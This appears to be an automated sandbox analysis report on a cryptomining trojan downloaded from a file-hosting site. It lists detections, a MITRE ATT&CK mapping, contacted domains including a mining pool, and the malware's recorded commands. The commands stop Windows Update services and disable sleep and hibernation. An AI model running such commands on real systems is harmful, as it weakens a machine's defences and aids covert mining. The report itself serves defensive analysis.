Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 34_2_00007FF724A51C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

34_2_00007FF724A51C64

Source: C:\Windows\System32\svchost.exe

Code function: 48_2_0000022C35FD7A40 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

48_2_0000022C35FD7A40

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0

Stops critical windows services

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc

Source: MpCmdRun.exe, 00000031.00000003.1877417611.0000017D27BAD000.00000004.00000001.00020000.00000000.sdmp, MpCmdRun.exe, 00000031.00000003.1877417611.0000017D27BA5000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	41 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	3 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	11 Windows Service	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	56 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	Login Hook	1 Access Token Manipulation	2 Obfuscated Files or Information	NTDS	691 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	11 Windows Service	1 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	813 Process Injection	11 DLL Side-Loading	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	1 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	123 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	371 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	813 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Rundll32	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://oxy.st/d/SmUh	0%	Avira URL Cloud	safe
https://oxy.st/d/SmUh	2%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp	100%	Avira	HEUR/AGEN.1362795
C:\Users\user\AppData\Local\Temp\updater.exe	100%	Joe Sandbox ML
C:\Users\user\Downloads\48a23937-84de-4260-a950-1eea9bda8a5a.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp	100%	Joe Sandbox ML
C:\Program Files\Microsoft\Edge\updater.exe	100%	Joe Sandbox ML
C:\Program Files\Google\Libs\WR64.sys	5%	ReversingLabs
C:\Program Files\Google\Libs\WR64.sys	4%	Virustotal		Browse
C:\Program Files\Microsoft\Edge\updater.exe	79%	ReversingLabs	Win64.Trojan.Whisperer
C:\Program Files\Microsoft\Edge\updater.exe	68%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\AC3BF.tmp	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\AC3BF.tmp	5%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\cli_gui.exe	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\cli_gui.exe	9%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp	87%	ReversingLabs	Win64.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\jkiahanfoyhg.tmp	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\updater.exe	79%	ReversingLabs	Win64.Trojan.Whisperer
C:\Users\user\AppData\Local\Temp\updater.exe	68%	Virustotal		Browse
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\Google.Widevine.CDM.dll	0%	ReversingLabs
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping7140_416299148\Google.Widevine.CDM.dll	0%	Virustotal		Browse
C:\Windows\Temp\jkiahanfoyhg.tmp	58%	ReversingLabs	Win64.PUA.DacicBitCoinMiner
C:\Windows\Temp\jkiahanfoyhg.tmp	75%	Virustotal		Browse

Name	IP	Active	Malicious
tmzr.themoneytizer.fr	188.114.96.3	true	false
system-notify.app	157.90.33.121	true	false
uidsync.net	157.90.33.72	true	false
d2fashanjl7d9f.cloudfront.net	18.66.102.57	true	false
metrics.biddertmz.com	34.248.22.168	true	false
ogffa.net	88.208.46.222	true	false
global.px.quantserve.com	91.228.74.159	true	false
id.crwdcntrl.net	52.17.55.191	true	false
id5-sync.com	162.19.138.116	true	false
u.openx.net	35.244.159.8	true	false
user-data-eu.bidswitch.net	35.214.149.91	true	false
pool.hashvault.pro	45.76.89.70	true	true
euw2.smartadserver.com	91.134.110.128	true	false
cs410.wac.edgecastcdn.net	68.232.35.16	true	false
cdn.w55c.net	3.121.173.151	true	false
contextual.media.net	23.211.10.95	true	false
ps.eyeota.net	52.57.150.20	true	false
teams-9999.teams-msedge.net	52.113.196.254	true	false
counter.yadro.ru	88.212.201.198	true	false
cl-7c56f4b3.edgecdn.ru	193.17.93.93	true	false
dl.google.com	142.250.181.238	true	false
rtb-csync-euw1.smartadserver.com	89.149.192.200	true	false
cm.g.doubleclick.net	142.250.186.162	true	false
www.google.com	142.250.186.100	true	false
lb-prod.adlook.me	46.243.182.89	true	false
lb.eu-1-id5-sync.com	162.19.138.117	true	false
smatr.net	88.208.46.222	true	false
s1.oxy.st	104.21.234.183	true	false
cdn.themoneytizer.fr	188.114.97.3	true	false
cdn.id5-sync.com	104.22.53.86	true	false
yastatic.net	178.154.131.217	true	false
match.adsrvr.org	15.197.193.217	true	false
match.prod.bidr.io	34.251.183.115	true	false
oxy.st	185.178.208.137	true	true
uip.semasio.net	77.243.51.122	true	false
adtrack-php-loadbalancer-vpc-1246401395.eu-west-1.elb.amazonaws.com	52.51.190.15	true	false
download.oxy.st	185.178.208.137	true	true
pug-lhr-bc.pubmnet.com	185.64.191.210	true	false
s.cpx.to	99.81.158.184	true	false
p.cpx.to	99.81.158.184	true	false
gum.nl3.vip.prod.criteo.com	178.250.1.11	true	false
onetag-sys.com	51.89.9.252	true	false
lg3.media.net	23.212.88.20	true	false
lexicon.33across.com	35.244.193.51	true	false
euw1.smartadserver.com	89.149.192.240	true	false
ib.anycast.adnxs.com	185.89.210.244	true	false
ip-fo-ovh.infra.leadplace.fr	145.239.192.166	true	false
uipus.semasio.net	50.57.31.206	true	false
cdn.adlook.me	unknown	unknown	true
pm.w55c.net	unknown	unknown	true
secure.adnxs.com	unknown	unknown	true
rules.quantcount.com	unknown	unknown	true
pixel.rubiconproject.com	unknown	unknown	true
c1.adform.net	unknown	unknown	true
ads.adlook.me	unknown	unknown	true
csync.smartadserver.com	unknown	unknown	true
uipglob.semasio.net	unknown	unknown	true
ced.sascdn.com	unknown	unknown	true
ced-ns.sascdn.com	unknown	unknown	true
tag.leadplace.fr	unknown	unknown	true
adtrack.adleadevent.com	unknown	unknown	true
cxcs.microsoft.net	unknown	unknown	true
ads.themoneytizer.com	unknown	unknown	true
gum.criteo.com	unknown	unknown	true
rtb-csync.smartadserver.com	unknown	unknown	true
image2.pubmatic.com	unknown	unknown	true
x.bidswitch.net	unknown	unknown	true
ww1097.smartadserver.com	unknown	unknown	true
secure.quantserve.com	unknown	unknown	true
pixel.quantserve.com	unknown	unknown	true
ib.adnxs.com	unknown	unknown	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://oxy.st/slake/asset/css/jquery.mCustomScrollbar.min.css	false
http://dl.google.com/release2/chrome_component/kkkxrb65stynv7pcqbppuocw44_2024.6.5.0/gonpemdgkjcecdgbnaabipppbmgfggbe_2024.06.05.00_all_lqepr5dqnivxhxcinrlckqnwo4.crx3	false
https://oxy.st/images/sprite3.png	false
https://cdn.id5-sync.com/api/1.0/id5-api.js	false
https://oxy.st/slake/cookie.css?ver=6	false
https://secure.adnxs.com/getuid?https%3A%2F%2Fs.cpx.to%2Ffire.js%3Fdsp%3Dapp_nexus%26dsp_uid%3D%24UID%26pid%3D12771%26ref%3Dhttps%253A%252F%252Foxy.st%252F%26url%3Dhttps%253A%252F%252Fdownload.oxy.st%252Fd%252FSmUh%252F2%252F5744b8343e4600a69fa0181348e90fc8%26hn_ver%3D76%26fid%3D48758480-4109-4e67-8f00-773986908703%26dsp%3DTTD%26dsp_uid%3D7a9427d7-5567-4b13-ad78-e53aa5bc8a0b	false
about:blank	false
https://onetag-sys.com/usync/?pubId=2a897e3f18e6769&cb=1718442893618	false
https://oxy.st/img/oxy-logo.svg	false
https://ogffa.net/sm/stat?uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=80&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM	false
https://match.prod.bidr.io/cookie-sync/id5?us_privacy=&_bee_ppp=1	false
https://pm.w55c.net/ping_match.gif?scc=1&st=ID5&rurl=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F163%2F7%2F3.gif%3Fpuid%3D_wfivefivec_%26gdpr%3D0%26gdpr_consent%3D	false
https://u.openx.net/w/1.0/cm?cc=1&id=f0f39a70-2c21-4d5d-af4b-7350637edcd5&r=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3DOPENX%26dsp_uid%3D%7BOPENX_ID%7D	false
https://lg3.media.net/flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0&cid=8CU7BC15F&crid=	false
http://dl.google.com/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/neifaoindggfcjicffkgpmnlppeffabd_1.0.2738.0_win64_kj4dp5kifwxbdodqls7e5nzhtm.crx3	false
https://download.oxy.st/slake/asset/css/elements.css?1	false
https://id5-sync.com/i/102/8.gif?o=api&id5id=ID5*tauykegEbfVx5hs7Xh4PahsKXi8PWxs7Xh4PahsKXi-n61IY1vzJzxNEO_L59YQs&gdpr_consent=undefined&gdpr=false	false
https://csync.smartadserver.com/diff/rtb/csync/CookieSync.html?nwid=1097&dcid=14&gdpr=0&gdprc=	false
https://download.oxy.st/slake/style.css?ver=6	false
https://ps.eyeota.net/match/bounce/?gdpr=0&gdpr_consent=&bid=1mpr7m0&r=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F123%2F1%2F8.gif%3Fpuid%3D%7BUUID%7D%26gdpr%3D0%26gdpr_consent%3D	false
https://oxy.st/slake/asset/js/plugins.js	false
https://image2.pubmatic.com/AdServer/UCookieSetPug?rd=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3Dpubmatic%26dsp_uid%3D%23PM_USER_ID	false
https://id5-sync.com/c/102/123/1/8.gif?puid=1901b2e2065-81f0000010f449d&gdpr=0&gdpr_consent=	false
https://ced-ns.sascdn.com/diff/js/assets/topics_frame.html	false
https://cdn.adlook.me/u/cds.html	false
https://cm.g.doubleclick.net/pixel?google_nid=captify_dmp&google_cm=&dsp=dbm&google_tc=	false
https://s.cpx.to/sync?dsp=pubmatic&dsp_uid=B2362722-96A7-45E5-816D-DA88A7191676	false
https://download.oxy.st/img/oxy-logo.svg	false
https://uipus.semasio.net/id5/1/get?gdpr=0&gdpr_consent=&_url=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F112%2F8%2F2.gif%3Fpuid%3D%24%7BUIPID%7D%26gdpr%3D0%26gdpr_consent%3D	false
https://cdn.themoneytizer.fr/ads/lib_adagio.js	false
https://download.oxy.st/slake/asset/js/jquery.mCustomScrollbar.concat.min.js	false
https://oxy.st/slake/asset/css/bootstrap.min.css	false
https://download.oxy.st/css/cloud.css	false
https://download.oxy.st/slake/asset/js/jquery.min.js	false
https://id5-sync.com/c/102/10/2/7.gif?puid=3883899461399649905&gdpr=0&gdpr_consent=	false
https://download.oxy.st/slake/asset/img/bg/footer-bg.png	false
https://oxy.st/css/cloud.css	false
https://ipinfo.io/	false
https://oxy.st/slake/asset/js/ajax-subscribe.js	false
https://p.cpx.to/p/12771/px.js	false
https://ps.eyeota.net/match?gdpr=0&gdpr_consent=&bid=1mpr7m0&r=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F123%2F1%2F8.gif%3Fpuid%3D%7BUUID%7D%26gdpr%3D0%26gdpr_consent%3D	false
https://lexicon.33across.com/v1/envelope?pid=0015a00002vNEdMAAW&gdpr=0&src=pbjs&ver=8.46.0&coppa=0&b=1&g=5cD8c3WL9sBrwhAf7sizQsZTTWkmHwO3mxl2kPfqiIQ%3D	false
https://download.oxy.st/images/sprite3.png	false
https://lexicon.33across.com/v1/envelope?pid=0015a00002vNEdMAAW&gdpr=0&src=pbjs&ver=8.46.0&coppa=0	false
https://download.oxy.st/slake/asset/css/jquery.mCustomScrollbar.min.css	false
https://ads.adlook.me/vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&top=&pt=inread&_ts=1718442903095	false
https://yastatic.net/islands/_/TR2STky64Ra69XlYzqKN7cnjYfQ.woff2	false
